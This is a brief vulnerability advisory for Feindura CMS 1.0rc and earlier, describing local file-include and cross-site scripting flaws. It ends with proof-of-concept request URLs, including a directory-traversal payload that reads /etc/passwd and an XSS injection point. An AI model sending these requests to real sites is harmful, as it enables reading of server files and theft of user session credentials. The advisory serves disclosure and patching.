source: https://www.securityfocus.com/bid/44501/info

Feindura CMS is prone to multiple local file-include vulnerabilities and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Feindura CMS versions 1.0rc and prior are vulnerable. 

Local file Include:

http://www.example.com/[path]/library/process/download.php?filename=[path/to/file]

http://www.example.com/[path]/library/thirdparty/filemanager/connectors/php/filemanager.php?mode=download&path=[path/to/file]

http://www.example.com/[path]/?language=../../../../../../../etc/passwd%00

Cross Site Scripting:

http://www.example.com/[path]/library/sites/editor.php?category=[XSS]